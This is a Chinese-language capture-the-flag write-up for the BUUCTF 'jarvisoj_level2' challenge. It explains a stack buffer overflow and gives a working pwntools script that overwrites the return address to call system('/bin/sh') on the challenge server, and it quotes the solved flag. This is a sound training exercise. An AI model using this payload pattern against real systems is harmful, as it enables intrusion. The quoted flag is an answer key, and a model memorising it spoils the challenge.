BUUCTF-jarvisoj_level2 writeup

拿到文件 checksec

 

 开启了NX防护

拖进IDA看看

在vulnerable_function函数里发现溢出点

 

 buf的长度为88h,read读入100h个字符 造成溢出

程序之前已经调用过了system函数,所以肯定可以找到system函数的地址,在字符串列表里查看是否有/bin/sh

 

 存在/bin/sh,并且是在data段

所以可以构造Payload

from pwn import *

elf = ELF('./level2')
p = remote('node3.buuoj.cn',26874)
Payload = b'a'*(0x88 + 4) + p32(elf.sym['system']) + p32(0xdeadbeef) + p32(0x804A024)
p.sendline(Payload)
p.interactive()

运行后得到sh

 

 在根目录下发现flag

flag{10c94a6a-6414-4b07-bfd3-1f397e3e6b2a}

 

posted @ 2021-02-07 16:03  KaguyaSaikou  阅读(244)  评论(0)    收藏  举报